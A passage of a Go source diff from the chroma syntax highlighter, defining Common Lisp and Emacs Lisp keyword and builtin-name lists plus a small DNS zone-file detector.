"user-homedir-pathname", "use-value", "values", "values-list", "vector",
|
||||
"vectorp", "vector-pop", "vector-push", "vector-push-extend", "warn",
|
||||
"wild-pathname-p", "write", "write-byte", "write-char", "write-line",
|
||||
"write-sequence", "write-string", "write-to-string", "yes-or-no-p",
|
||||
"y-or-n-p", "zerop",
|
||||
}
|
||||
|
||||
clSpecialForms = []string{
|
||||
"block", "catch", "declare", "eval-when", "flet", "function", "go", "if",
|
||||
"labels", "lambda", "let", "let*", "load-time-value", "locally", "macrolet",
|
||||
"multiple-value-call", "multiple-value-prog1", "progn", "progv", "quote",
|
||||
"return-from", "setq", "symbol-macrolet", "tagbody", "the", "throw",
|
||||
"unwind-protect",
|
||||
}
|
||||
|
||||
clMacros = []string{
|
||||
"and", "assert", "call-method", "case", "ccase", "check-type", "cond",
|
||||
"ctypecase", "decf", "declaim", "defclass", "defconstant", "defgeneric",
|
||||
"define-compiler-macro", "define-condition", "define-method-combination",
|
||||
"define-modify-macro", "define-setf-expander", "define-symbol-macro",
|
||||
"defmacro", "defmethod", "defpackage", "defparameter", "defsetf",
|
||||
"defstruct", "deftype", "defun", "defvar", "destructuring-bind", "do",
|
||||
"do*", "do-all-symbols", "do-external-symbols", "dolist", "do-symbols",
|
||||
"dotimes", "ecase", "etypecase", "formatter", "handler-bind",
|
||||
"handler-case", "ignore-errors", "incf", "in-package", "lambda", "loop",
|
||||
"loop-finish", "make-method", "multiple-value-bind", "multiple-value-list",
|
||||
"multiple-value-setq", "nth-value", "or", "pop",
|
||||
"pprint-exit-if-list-exhausted", "pprint-logical-block", "pprint-pop",
|
||||
"print-unreadable-object", "prog", "prog*", "prog1", "prog2", "psetf",
|
||||
"psetq", "push", "pushnew", "remf", "restart-bind", "restart-case",
|
||||
"return", "rotatef", "setf", "shiftf", "step", "time", "trace", "typecase",
|
||||
"unless", "untrace", "when", "with-accessors", "with-compilation-unit",
|
||||
"with-condition-restarts", "with-hash-table-iterator",
|
||||
"with-input-from-string", "with-open-file", "with-open-stream",
|
||||
"with-output-to-string", "with-package-iterator", "with-simple-restart",
|
||||
"with-slots", "with-standard-io-syntax",
|
||||
}
|
||||
|
||||
clLambdaListKeywords = []string{
|
||||
"&allow-other-keys", "&aux", "&body", "&environment", "&key", "&optional",
|
||||
"&rest", "&whole",
|
||||
}
|
||||
|
||||
clDeclarations = []string{
|
||||
"dynamic-extent", "ignore", "optimize", "ftype", "inline", "special",
|
||||
"ignorable", "notinline", "type",
|
||||
}
|
||||
|
||||
clBuiltinTypes = []string{
|
||||
"atom", "boolean", "base-char", "base-string", "bignum", "bit",
|
||||
"compiled-function", "extended-char", "fixnum", "keyword", "nil",
|
||||
"signed-byte", "short-float", "single-float", "double-float", "long-float",
|
||||
"simple-array", "simple-base-string", "simple-bit-vector", "simple-string",
|
||||
"simple-vector", "standard-char", "unsigned-byte",
|
||||
|
||||
// Condition Types
|
||||
"arithmetic-error", "cell-error", "condition", "control-error",
|
||||
"division-by-zero", "end-of-file", "error", "file-error",
|
||||
"floating-point-inexact", "floating-point-overflow",
|
||||
"floating-point-underflow", "floating-point-invalid-operation",
|
||||
"parse-error", "package-error", "print-not-readable", "program-error",
|
||||
"reader-error", "serious-condition", "simple-condition", "simple-error",
|
||||
"simple-type-error", "simple-warning", "stream-error", "storage-condition",
|
||||
"style-warning", "type-error", "unbound-variable", "unbound-slot",
|
||||
"undefined-function", "warning",
|
||||
}
|
||||
|
||||
clBuiltinClasses = []string{
|
||||
"array", "broadcast-stream", "bit-vector", "built-in-class", "character",
|
||||
"class", "complex", "concatenated-stream", "cons", "echo-stream",
|
||||
"file-stream", "float", "function", "generic-function", "hash-table",
|
||||
"integer", "list", "logical-pathname", "method-combination", "method",
|
||||
"null", "number", "package", "pathname", "ratio", "rational", "readtable",
|
||||
"real", "random-state", "restart", "sequence", "standard-class",
|
||||
"standard-generic-function", "standard-method", "standard-object",
|
||||
"string-stream", "stream", "string", "structure-class", "structure-object",
|
||||
"symbol", "synonym-stream", "t", "two-way-stream", "vector",
|
||||
}
|
||||
)
|
||||
|
||||
// Common Lisp lexer.
|
||||
var CommonLisp = Register(TypeRemappingLexer(MustNewXMLLexer(
|
||||
embedded,
|
||||
"embedded/common_lisp.xml",
|
||||
), TypeMapping{
|
||||
{NameVariable, NameFunction, clBuiltinFunctions},
|
||||
{NameVariable, Keyword, clSpecialForms},
|
||||
{NameVariable, NameBuiltin, clMacros},
|
||||
{NameVariable, Keyword, clLambdaListKeywords},
|
||||
{NameVariable, Keyword, clDeclarations},
|
||||
{NameVariable, KeywordType, clBuiltinTypes},
|
||||
{NameVariable, NameClass, clBuiltinClasses},
|
||||
}))
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
package lexers
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// TODO(moorereason): can this be factored away?
|
||||
var zoneAnalyserRe = regexp.MustCompile(`(?m)^@\s+IN\s+SOA\s+`)
|
||||
|
||||
func init() { // nolint: gochecknoinits
|
||||
Get("dns").SetAnalyser(func(text string) float32 {
|
||||
if zoneAnalyserRe.FindString(text) != "" {
|
||||
return 1.0
|
||||
}
|
||||
return 0.0
|
||||
})
|
||||
}
|
||||
+533
@@ -0,0 +1,533 @@
|
||||
package lexers
|
||||
|
||||
import (
|
||||
. "github.com/alecthomas/chroma/v2" // nolint
|
||||
)
|
||||
|
||||
var (
|
||||
emacsMacros = []string{
|
||||
"atomic-change-group", "case", "block", "cl-block", "cl-callf", "cl-callf2",
|
||||
"cl-case", "cl-decf", "cl-declaim", "cl-declare",
|
||||
"cl-define-compiler-macro", "cl-defmacro", "cl-defstruct",
|
||||
"cl-defsubst", "cl-deftype", "cl-defun", "cl-destructuring-bind",
|
||||
"cl-do", "cl-do*", "cl-do-all-symbols", "cl-do-symbols", "cl-dolist",
|
||||
"cl-dotimes", "cl-ecase", "cl-etypecase", "eval-when", "cl-eval-when", "cl-flet",
|
||||
"cl-flet*", "cl-function", "cl-incf", "cl-labels", "cl-letf",
|
||||
"cl-letf*", "cl-load-time-value", "cl-locally", "cl-loop",
|
||||
"cl-macrolet", "cl-multiple-value-bind", "cl-multiple-value-setq",
|
||||
"cl-progv", "cl-psetf", "cl-psetq", "cl-pushnew", "cl-remf",
|
||||
"cl-return", "cl-return-from", "cl-rotatef", "cl-shiftf",
|
||||
"cl-symbol-macrolet", "cl-tagbody", "cl-the", "cl-typecase",
|
||||
"combine-after-change-calls", "condition-case-unless-debug", "decf",
|
||||
"declaim", "declare", "declare-function", "def-edebug-spec",
|
||||
"defadvice", "defclass", "defcustom", "defface", "defgeneric",
|
||||
"defgroup", "define-advice", "define-alternatives",
|
||||
"define-compiler-macro", "define-derived-mode", "define-generic-mode",
|
||||
"define-global-minor-mode", "define-globalized-minor-mode",
|
||||
"define-minor-mode", "define-modify-macro",
|
||||
"define-obsolete-face-alias", "define-obsolete-function-alias",
|
||||
"define-obsolete-variable-alias", "define-setf-expander",
|
||||
"define-skeleton", "defmacro", "defmethod", "defsetf", "defstruct",
|
||||
"defsubst", "deftheme", "deftype", "defun", "defvar-local",
|
||||
"delay-mode-hooks", "destructuring-bind", "do", "do*",
|
||||
"do-all-symbols", "do-symbols", "dolist", "dont-compile", "dotimes",
|
||||
"dotimes-with-progress-reporter", "ecase", "ert-deftest", "etypecase",
|
||||
"eval-and-compile", "eval-when-compile", "flet", "ignore-errors",
|
||||
"incf", "labels", "lambda", "letrec", "lexical-let", "lexical-let*",
|
||||
"loop", "multiple-value-bind", "multiple-value-setq", "noreturn",
|
||||
"oref", "oref-default", "oset", "oset-default", "pcase",
|
||||
"pcase-defmacro", "pcase-dolist", "pcase-exhaustive", "pcase-let",
|
||||
"pcase-let*", "pop", "psetf", "psetq", "push", "pushnew", "remf",
|
||||
"return", "rotatef", "rx", "save-match-data", "save-selected-window",
|
||||
"save-window-excursion", "setf", "setq-local", "shiftf",
|
||||
"track-mouse", "typecase", "unless", "use-package", "when",
|
||||
"while-no-input", "with-case-table", "with-category-table",
|
||||
"with-coding-priority", "with-current-buffer", "with-demoted-errors",
|
||||
"with-eval-after-load", "with-file-modes", "with-local-quit",
|
||||
"with-output-to-string", "with-output-to-temp-buffer",
|
||||
"with-parsed-tramp-file-name", "with-selected-frame",
|
||||
"with-selected-window", "with-silent-modifications", "with-slots",
|
||||
"with-syntax-table", "with-temp-buffer", "with-temp-file",
|
||||
"with-temp-message", "with-timeout", "with-tramp-connection-property",
|
||||
"with-tramp-file-property", "with-tramp-progress-reporter",
|
||||
"with-wrapper-hook", "load-time-value", "locally", "macrolet", "progv",
|
||||
"return-from",
|
||||
}
|
||||
|
||||
emacsSpecialForms = []string{
|
||||
"and", "catch", "cond", "condition-case", "defconst", "defvar",
|
||||
"function", "if", "interactive", "let", "let*", "or", "prog1",
|
||||
"prog2", "progn", "quote", "save-current-buffer", "save-excursion",
|
||||
"save-restriction", "setq", "setq-default", "subr-arity",
|
||||
"unwind-protect", "while",
|
||||
}
|
||||
|
||||
emacsBuiltinFunction = []string{
|
||||
"%", "*", "+", "-", "/", "/=", "1+", "1-", "<", "<=", "=", ">", ">=",
|
||||
"Snarf-documentation", "abort-recursive-edit", "abs",
|
||||
"accept-process-output", "access-file", "accessible-keymaps", "acos",
|
||||
"active-minibuffer-window", "add-face-text-property",
|
||||
"add-name-to-file", "add-text-properties", "all-completions",
|
||||
"append", "apply", "apropos-internal", "aref", "arrayp", "aset",
|
||||
"ash", "asin", "assoc", "assoc-string", "assq", "atan", "atom",
|
||||
"autoload", "autoload-do-load", "backtrace", "backtrace--locals",
|
||||
"backtrace-debug", "backtrace-eval", "backtrace-frame",
|
||||
"backward-char", "backward-prefix-chars", "barf-if-buffer-read-only",
|
||||
"base64-decode-region", "base64-decode-string",
|
||||
"base64-encode-region", "base64-encode-string", "beginning-of-line",
|
||||
"bidi-find-overridden-directionality", "bidi-resolved-levels",
|
||||
"bitmap-spec-p", "bobp", "bolp", "bool-vector",
|
||||
"bool-vector-count-consecutive", "bool-vector-count-population",
|
||||
"bool-vector-exclusive-or", "bool-vector-intersection",
|
||||
"bool-vector-not", "bool-vector-p", "bool-vector-set-difference",
|
||||
"bool-vector-subsetp", "bool-vector-union", "boundp",
|
||||
"buffer-base-buffer", "buffer-chars-modified-tick",
|
||||
"buffer-enable-undo", "buffer-file-name", "buffer-has-markers-at",
|
||||
"buffer-list", "buffer-live-p", "buffer-local-value",
|
||||
"buffer-local-variables", "buffer-modified-p", "buffer-modified-tick",
|
||||
"buffer-name", "buffer-size", "buffer-string", "buffer-substring",
|
||||
"buffer-substring-no-properties", "buffer-swap-text", "bufferp",
|
||||
"bury-buffer-internal", "byte-code", "byte-code-function-p",
|
||||
"byte-to-position", "byte-to-string", "byteorder",
|
||||
"call-interactively", "call-last-kbd-macro", "call-process",
|
||||
"call-process-region", "cancel-kbd-macro-events", "capitalize",
|
||||
"capitalize-region", "capitalize-word", "car", "car-less-than-car",
|
||||
"car-safe", "case-table-p", "category-docstring",
|
||||
"category-set-mnemonics", "category-table", "category-table-p",
|
||||
"ccl-execute", "ccl-execute-on-string", "ccl-program-p", "cdr",
|
||||
"cdr-safe", "ceiling", "char-after", "char-before",
|
||||
"char-category-set", "char-charset", "char-equal", "char-or-string-p",
|
||||
"char-resolve-modifiers", "char-syntax", "char-table-extra-slot",
|
||||
"char-table-p", "char-table-parent", "char-table-range",
|
||||
"char-table-subtype", "char-to-string", "char-width", "characterp",
|
||||
"charset-after", "charset-id-internal", "charset-plist",
|
||||
"charset-priority-list", "charsetp", "check-coding-system",
|
||||
"check-coding-systems-region", "clear-buffer-auto-save-failure",
|
||||
"clear-charset-maps", "clear-face-cache", "clear-font-cache",
|
||||
"clear-image-cache", "clear-string", "clear-this-command-keys",
|
||||
"close-font", "clrhash", "coding-system-aliases",
|
||||
"coding-system-base", "coding-system-eol-type", "coding-system-p",
|
||||
"coding-system-plist", "coding-system-priority-list",
|
||||
"coding-system-put", "color-distance", "color-gray-p",
|
||||
"color-supported-p", "combine-after-change-execute",
|
||||
"command-error-default-function", "command-remapping", "commandp",
|
||||
"compare-buffer-substrings", "compare-strings",
|
||||
"compare-window-configurations", "completing-read",
|
||||
"compose-region-internal", "compose-string-internal",
|
||||
"composition-get-gstring", "compute-motion", "concat", "cons",
|
||||
"consp", "constrain-to-field", "continue-process",
|
||||
"controlling-tty-p", "coordinates-in-window-p", "copy-alist",
|
||||
"copy-category-table", "copy-file", "copy-hash-table", "copy-keymap",
|
||||
"copy-marker", "copy-sequence", "copy-syntax-table", "copysign",
|
||||
"cos", "current-active-maps", "current-bidi-paragraph-direction",
|
||||
"current-buffer", "current-case-table", "current-column",
|
||||
"current-global-map", "current-idle-time", "current-indentation",
|
||||
"current-input-mode", "current-local-map", "current-message",
|
||||
"current-minor-mode-maps", "current-time", "current-time-string",
|
||||
"current-time-zone", "current-window-configuration",
|
||||
"cygwin-convert-file-name-from-windows",
|
||||
"cygwin-convert-file-name-to-windows", "daemon-initialized",
|
||||
"daemonp", "dbus--init-bus", "dbus-get-unique-name",
|
||||
"dbus-message-internal", "debug-timer-check", "declare-equiv-charset",
|
||||
"decode-big5-char", "decode-char", "decode-coding-region",
|
||||
"decode-coding-string", "decode-sjis-char", "decode-time",
|
||||
"default-boundp", "default-file-modes", "default-printer-name",
|
||||
"default-toplevel-value", "default-value", "define-category",
|
||||
"define-charset-alias", "define-charset-internal",
|
||||
"define-coding-system-alias", "define-coding-system-internal",
|
||||
"define-fringe-bitmap", "define-hash-table-test", "define-key",
|
||||
"define-prefix-command", "delete",
|
||||
"delete-all-overlays", "delete-and-extract-region", "delete-char",
|
||||
"delete-directory-internal", "delete-field", "delete-file",
|
||||
"delete-frame", "delete-other-windows-internal", "delete-overlay",
|
||||
"delete-process", "delete-region", "delete-terminal",
|
||||
"delete-window-internal", "delq", "describe-buffer-bindings",
|
||||
"describe-vector", "destroy-fringe-bitmap", "detect-coding-region",
|
||||
"detect-coding-string", "ding", "directory-file-name",
|
||||
"directory-files", "directory-files-and-attributes", "discard-input",
|
||||
"display-supports-face-attributes-p", "do-auto-save", "documentation",
|
||||
"documentation-property", "downcase", "downcase-region",
|
||||
"downcase-word", "draw-string", "dump-colors", "dump-emacs",
|
||||
"dump-face", "dump-frame-glyph-matrix", "dump-glyph-matrix",
|
||||
"dump-glyph-row", "dump-redisplay-history", "dump-tool-bar-row",
|
||||
"elt", "emacs-pid", "encode-big5-char", "encode-char",
|
||||
"encode-coding-region", "encode-coding-string", "encode-sjis-char",
|
||||
"encode-time", "end-kbd-macro", "end-of-line", "eobp", "eolp", "eq",
|
||||
"eql", "equal", "equal-including-properties", "erase-buffer",
|
||||
"error-message-string", "eval", "eval-buffer", "eval-region",
|
||||
"event-convert-list", "execute-kbd-macro", "exit-recursive-edit",
|
||||
"exp", "expand-file-name", "expt", "external-debugging-output",
|
||||
"face-attribute-relative-p", "face-attributes-as-vector", "face-font",
|
||||
"fboundp", "fceiling", "fetch-bytecode", "ffloor",
|
||||
"field-beginning", "field-end", "field-string",
|
||||
"field-string-no-properties", "file-accessible-directory-p",
|
||||
"file-acl", "file-attributes", "file-attributes-lessp",
|
||||
"file-directory-p", "file-executable-p", "file-exists-p",
|
||||
"file-locked-p", "file-modes", "file-name-absolute-p",
|
||||
"file-name-all-completions", "file-name-as-directory",
|
||||
"file-name-completion", "file-name-directory",
|
||||
"file-name-nondirectory", "file-newer-than-file-p", "file-readable-p",
|
||||
"file-regular-p", "file-selinux-context", "file-symlink-p",
|
||||
"file-system-info", "file-system-info", "file-writable-p",
|
||||
"fillarray", "find-charset-region", "find-charset-string",
|
||||
"find-coding-systems-region-internal", "find-composition-internal",
|
||||
"find-file-name-handler", "find-font", "find-operation-coding-system",
|
||||
"float", "float-time", "floatp", "floor", "fmakunbound",
|
||||
"following-char", "font-at", "font-drive-otf", "font-face-attributes",
|
||||
"font-family-list", "font-get", "font-get-glyphs",
|
||||
"font-get-system-font", "font-get-system-normal-font", "font-info",
|
||||
"font-match-p", "font-otf-alternates", "font-put",
|
||||
"font-shape-gstring", "font-spec", "font-variation-glyphs",
|
||||
"font-xlfd-name", "fontp", "fontset-font", "fontset-info",
|
||||
"fontset-list", "fontset-list-all", "force-mode-line-update",
|
||||
"force-window-update", "format", "format-mode-line",
|
||||
"format-network-address", "format-time-string", "forward-char",
|
||||
"forward-comment", "forward-line", "forward-word",
|
||||
"frame-border-width", "frame-bottom-divider-width",
|
||||
"frame-can-run-window-configuration-change-hook", "frame-char-height",
|
||||
"frame-char-width", "frame-face-alist", "frame-first-window",
|
||||
"frame-focus", "frame-font-cache", "frame-fringe-width", "frame-list",
|
||||
"frame-live-p", "frame-or-buffer-changed-p", "frame-parameter",
|
||||
"frame-parameters", "frame-pixel-height", "frame-pixel-width",
|
||||
"frame-pointer-visible-p", "frame-right-divider-width",
|
||||
"frame-root-window", "frame-scroll-bar-height",
|
||||
"frame-scroll-bar-width", "frame-selected-window", "frame-terminal",
|
||||
"frame-text-cols", "frame-text-height", "frame-text-lines",
|
||||
"frame-text-width", "frame-total-cols", "frame-total-lines",
|
||||
"frame-visible-p", "framep", "frexp", "fringe-bitmaps-at-pos",
|
||||
"fround", "fset", "ftruncate", "funcall", "funcall-interactively",
|
||||
"function-equal", "functionp", "gap-position", "gap-size",
|
||||
"garbage-collect", "gc-status", "generate-new-buffer-name", "get",
|
||||
"get-buffer", "get-buffer-create", "get-buffer-process",
|
||||
"get-buffer-window", "get-byte", "get-char-property",
|
||||
"get-char-property-and-overlay", "get-file-buffer", "get-file-char",
|
||||
"get-internal-run-time", "get-load-suffixes", "get-pos-property",
|
||||
"get-process", "get-screen-color", "get-text-property",
|
||||
"get-unicode-property-internal", "get-unused-category",
|
||||
"get-unused-iso-final-char", "getenv-internal", "gethash",
|
||||
"gfile-add-watch", "gfile-rm-watch", "global-key-binding",
|
||||
"gnutls-available-p", "gnutls-boot", "gnutls-bye", "gnutls-deinit",
|
||||
"gnutls-error-fatalp", "gnutls-error-string", "gnutls-errorp",
|
||||
"gnutls-get-initstage", "gnutls-peer-status",
|
||||
"gnutls-peer-status-warning-describe", "goto-char", "gpm-mouse-start",
|
||||
"gpm-mouse-stop", "group-gid", "group-real-gid",
|
||||
"handle-save-session", "handle-switch-frame", "hash-table-count",
|
||||
"hash-table-p", "hash-table-rehash-size",
|
||||
"hash-table-rehash-threshold", "hash-table-size", "hash-table-test",
|
||||
"hash-table-weakness", "iconify-frame", "identity", "image-flush",
|
||||
"image-mask-p", "image-metadata", "image-size", "imagemagick-types",
|
||||
"imagep", "indent-to", "indirect-function", "indirect-variable",
|
||||
"init-image-library", "inotify-add-watch", "inotify-rm-watch",
|
||||
"input-pending-p", "insert", "insert-and-inherit",
|
||||
"insert-before-markers", "insert-before-markers-and-inherit",
|
||||
"insert-buffer-substring", "insert-byte", "insert-char",
|
||||
"insert-file-contents", "insert-startup-screen", "int86",
|
||||
"integer-or-marker-p", "integerp", "interactive-form", "intern",
|
||||
"intern-soft", "internal--track-mouse", "internal-char-font",
|
||||
"internal-complete-buffer", "internal-copy-lisp-face",
|
||||
"internal-default-process-filter",
|
||||
"internal-default-process-sentinel", "internal-describe-syntax-value",
|
||||
"internal-event-symbol-parse-modifiers",
|
||||
"internal-face-x-get-resource", "internal-get-lisp-face-attribute",
|
||||
"internal-lisp-face-attribute-values", "internal-lisp-face-empty-p",
|
||||
"internal-lisp-face-equal-p", "internal-lisp-face-p",
|
||||
"internal-make-lisp-face", "internal-make-var-non-special",
|
||||
"internal-merge-in-global-face",
|
||||
"internal-set-alternative-font-family-alist",
|
||||
"internal-set-alternative-font-registry-alist",
|
||||
"internal-set-font-selection-order",
|
||||
"internal-set-lisp-face-attribute",
|
||||
"internal-set-lisp-face-attribute-from-resource",
|
||||
"internal-show-cursor", "internal-show-cursor-p", "interrupt-process",
|
||||
"invisible-p", "invocation-directory", "invocation-name", "isnan",
|
||||
"iso-charset", "key-binding", "key-description",
|
||||
"keyboard-coding-system", "keymap-parent", "keymap-prompt", "keymapp",
|
||||
"keywordp", "kill-all-local-variables", "kill-buffer", "kill-emacs",
|
||||
"kill-local-variable", "kill-process", "last-nonminibuffer-frame",
|
||||
"lax-plist-get", "lax-plist-put", "ldexp", "length",
|
||||
"libxml-parse-html-region", "libxml-parse-xml-region",
|
||||
"line-beginning-position", "line-end-position", "line-pixel-height",
|
||||
"list", "list-fonts", "list-system-processes", "listp", "load",
|
||||
"load-average", "local-key-binding", "local-variable-if-set-p",
|
||||
"local-variable-p", "locale-info", "locate-file-internal",
|
||||
"lock-buffer", "log", "logand", "logb", "logior", "lognot", "logxor",
|
||||
"looking-at", "lookup-image", "lookup-image-map", "lookup-key",
|
||||
"lower-frame", "lsh", "macroexpand", "make-bool-vector",
|
||||
"make-byte-code", "make-category-set", "make-category-table",
|
||||
"make-char", "make-char-table", "make-directory-internal",
|
||||
"make-frame-invisible", "make-frame-visible", "make-hash-table",
|
||||
"make-indirect-buffer", "make-keymap", "make-list",
|
||||
"make-local-variable", "make-marker", "make-network-process",
|
||||
"make-overlay", "make-serial-process", "make-sparse-keymap",
|
||||
"make-string", "make-symbol", "make-symbolic-link", "make-temp-name",
|
||||
"make-terminal-frame", "make-variable-buffer-local",
|
||||
"make-variable-frame-local", "make-vector", "makunbound",
|
||||
"map-char-table", "map-charset-chars", "map-keymap",
|
||||
"map-keymap-internal", "mapatoms", "mapc", "mapcar", "mapconcat",
|
||||
"maphash", "mark-marker", "marker-buffer", "marker-insertion-type",
|
||||
"marker-position", "markerp", "match-beginning", "match-data",
|
||||
"match-end", "matching-paren", "max", "max-char", "md5", "member",
|
||||
"memory-info", "memory-limit", "memory-use-counts", "memq", "memql",
|
||||
"menu-bar-menu-at-x-y", "menu-or-popup-active-p",
|
||||
"menu-or-popup-active-p", "merge-face-attribute", "message",
|
||||
"message-box", "message-or-box", "min",
|
||||
"minibuffer-completion-contents", "minibuffer-contents",
|
||||
"minibuffer-contents-no-properties", "minibuffer-depth",
|
||||
"minibuffer-prompt", "minibuffer-prompt-end",
|
||||
"minibuffer-selected-window", "minibuffer-window", "minibufferp",
|
||||
"minor-mode-key-binding", "mod", "modify-category-entry",
|
||||
"modify-frame-parameters", "modify-syntax-entry",
|
||||
"mouse-pixel-position", "mouse-position", "move-overlay",
|
||||
"move-point-visually", "move-to-column", "move-to-window-line",
|
||||
"msdos-downcase-filename", "msdos-long-file-names", "msdos-memget",
|
||||
"msdos-memput", "msdos-mouse-disable", "msdos-mouse-enable",
|
||||
"msdos-mouse-init", "msdos-mouse-p", "msdos-remember-default-colors",
|
||||
"msdos-set-keyboard", "msdos-set-mouse-buttons",
|
||||
"multibyte-char-to-unibyte", "multibyte-string-p", "narrow-to-region",
|
||||
"natnump", "nconc", "network-interface-info",
|
||||
"network-interface-list", "new-fontset", "newline-cache-check",
|
||||
"next-char-property-change", "next-frame", "next-overlay-change",
|
||||
"next-property-change", "next-read-file-uses-dialog-p",
|
||||
"next-single-char-property-change", "next-single-property-change",
|
||||
"next-window", "nlistp", "nreverse", "nth", "nthcdr", "null",
|
||||
"number-or-marker-p", "number-to-string", "numberp",
|
||||
"open-dribble-file", "open-font", "open-termscript",
|
||||
"optimize-char-table", "other-buffer", "other-window-for-scrolling",
|
||||
"overlay-buffer", "overlay-end", "overlay-get", "overlay-lists",
|
||||
"overlay-properties", "overlay-put", "overlay-recenter",
|
||||
"overlay-start", "overlayp", "overlays-at", "overlays-in",
|
||||
"parse-partial-sexp", "play-sound-internal", "plist-get",
|
||||
"plist-member", "plist-put", "point", "point-marker", "point-max",
|
||||
"point-max-marker", "point-min", "point-min-marker",
|
||||
"pos-visible-in-window-p", "position-bytes", "posix-looking-at",
|
||||
"posix-search-backward", "posix-search-forward", "posix-string-match",
|
||||
"posn-at-point", "posn-at-x-y", "preceding-char",
|
||||
"prefix-numeric-value", "previous-char-property-change",
|
||||
"previous-frame", "previous-overlay-change",
|
||||
"previous-property-change", "previous-single-char-property-change",
|
||||
"previous-single-property-change", "previous-window", "prin1",
|
||||
"prin1-to-string", "princ", "print", "process-attributes",
|
||||
"process-buffer", "process-coding-system", "process-command",
|
||||
"process-connection", "process-contact", "process-datagram-address",
|
||||
"process-exit-status", "process-filter", "process-filter-multibyte-p",
|
||||
"process-id", "process-inherit-coding-system-flag", "process-list",
|
||||
"process-mark", "process-name", "process-plist",
|
||||
"process-query-on-exit-flag", "process-running-child-p",
|
||||
"process-send-eof", "process-send-region", "process-send-string",
|
||||
"process-sentinel", "process-status", "process-tty-name",
|
||||
"process-type", "processp", "profiler-cpu-log",
|
||||
"profiler-cpu-running-p", "profiler-cpu-start", "profiler-cpu-stop",
|
||||
"profiler-memory-log", "profiler-memory-running-p",
|
||||
"profiler-memory-start", "profiler-memory-stop", "propertize",
|
||||
"purecopy", "put", "put-text-property",
|
||||
"put-unicode-property-internal", "puthash", "query-font",
|
||||
"query-fontset", "quit-process", "raise-frame", "random", "rassoc",
|
||||
"rassq", "re-search-backward", "re-search-forward", "read",
|
||||
"read-buffer", "read-char", "read-char-exclusive",
|
||||
"read-coding-system", "read-command", "read-event",
|
||||
"read-from-minibuffer", "read-from-string", "read-function",
|
||||
"read-key-sequence", "read-key-sequence-vector",
|
||||
"read-no-blanks-input", "read-non-nil-coding-system", "read-string",
|
||||
"read-variable", "recent-auto-save-p", "recent-doskeys",
|
||||
"recent-keys", "recenter", "recursion-depth", "recursive-edit",
|
||||
"redirect-debugging-output", "redirect-frame-focus", "redisplay",
|
||||
"redraw-display", "redraw-frame", "regexp-quote", "region-beginning",
|
||||
"region-end", "register-ccl-program", "register-code-conversion-map",
|
||||
"remhash", "remove-list-of-text-properties", "remove-text-properties",
|
||||
"rename-buffer", "rename-file", "replace-match",
|
||||
"reset-this-command-lengths", "resize-mini-window-internal",
|
||||
"restore-buffer-modified-p", "resume-tty", "reverse", "round",
|
||||
"run-hook-with-args", "run-hook-with-args-until-failure",
|
||||
"run-hook-with-args-until-success", "run-hook-wrapped", "run-hooks",
|
||||
"run-window-configuration-change-hook", "run-window-scroll-functions",
|
||||
"safe-length", "scan-lists", "scan-sexps", "scroll-down",
|
||||
"scroll-left", "scroll-other-window", "scroll-right", "scroll-up",
|
||||
"search-backward", "search-forward", "secure-hash", "select-frame",
|
||||
"select-window", "selected-frame", "selected-window",
|
||||
"self-insert-command", "send-string-to-terminal", "sequencep",
|
||||
"serial-process-configure", "set", "set-buffer",
|
||||
"set-buffer-auto-saved", "set-buffer-major-mode",
|
||||
"set-buffer-modified-p", "set-buffer-multibyte", "set-case-table",
|
||||
"set-category-table", "set-char-table-extra-slot",
|
||||
"set-char-table-parent", "set-char-table-range", "set-charset-plist",
|
||||
"set-charset-priority", "set-coding-system-priority",
|
||||
"set-cursor-size", "set-default", "set-default-file-modes",
|
||||
"set-default-toplevel-value", "set-file-acl", "set-file-modes",
|
||||
"set-file-selinux-context", "set-file-times", "set-fontset-font",
|
||||
"set-frame-height", "set-frame-position", "set-frame-selected-window",
|
||||
"set-frame-size", "set-frame-width", "set-fringe-bitmap-face",
|
||||
"set-input-interrupt-mode", "set-input-meta-mode", "set-input-mode",
|
||||
"set-keyboard-coding-system-internal", "set-keymap-parent",
|
||||
"set-marker", "set-marker-insertion-type", "set-match-data",
|
||||
"set-message-beep", "set-minibuffer-window",
|
||||
"set-mouse-pixel-position", "set-mouse-position",
|
||||
"set-network-process-option", "set-output-flow-control",
|
||||
"set-process-buffer", "set-process-coding-system",
|
||||
"set-process-datagram-address", "set-process-filter",
|
||||
"set-process-filter-multibyte",
|
||||
"set-process-inherit-coding-system-flag", "set-process-plist",
|
||||
"set-process-query-on-exit-flag", "set-process-sentinel",
|
||||
"set-process-window-size", "set-quit-char",
|
||||
"set-safe-terminal-coding-system-internal", "set-screen-color",
|
||||
"set-standard-case-table", "set-syntax-table",
|
||||
"set-terminal-coding-system-internal", "set-terminal-local-value",
|
||||
"set-terminal-parameter", "set-text-properties", "set-time-zone-rule",
|
||||
"set-visited-file-modtime", "set-window-buffer",
|
||||
"set-window-combination-limit", "set-window-configuration",
|
||||
"set-window-dedicated-p", "set-window-display-table",
|
||||
"set-window-fringes", "set-window-hscroll", "set-window-margins",
|
||||
"set-window-new-normal", "set-window-new-pixel",
|
||||
"set-window-new-total", "set-window-next-buffers",
|
||||
"set-window-parameter", "set-window-point", "set-window-prev-buffers",
|
||||
"set-window-redisplay-end-trigger", "set-window-scroll-bars",
|
||||
"set-window-start", "set-window-vscroll", "setcar", "setcdr",
|
||||
"setplist", "show-face-resources", "signal", "signal-process", "sin",
|
||||
"single-key-description", "skip-chars-backward", "skip-chars-forward",
|
||||
"skip-syntax-backward", "skip-syntax-forward", "sleep-for", "sort",
|
||||
"sort-charsets", "special-variable-p", "split-char",
|
||||
"split-window-internal", "sqrt", "standard-case-table",
|
||||
"standard-category-table", "standard-syntax-table", "start-kbd-macro",
|
||||
"start-process", "stop-process", "store-kbd-macro-event", "string",
|
||||
"string-as-multibyte", "string-as-unibyte", "string-bytes",
|
||||
"string-collate-equalp", "string-collate-lessp", "string-equal",
|
||||
"string-lessp", "string-make-multibyte", "string-make-unibyte",
|
||||
"string-match", "string-to-char", "string-to-multibyte",
|
||||
"string-to-number", "string-to-syntax", "string-to-unibyte",
|
||||
"string-width", "stringp", "subr-name", "subrp",
|
||||
"subst-char-in-region", "substitute-command-keys",
|
||||
"substitute-in-file-name", "substring", "substring-no-properties",
|
||||
"suspend-emacs", "suspend-tty", "suspicious-object", "sxhash",
|
||||
"symbol-function", "symbol-name", "symbol-plist", "symbol-value",
|
||||
"symbolp", "syntax-table", "syntax-table-p", "system-groups",
|
||||
"system-move-file-to-trash", "system-name", "system-users", "tan",
|
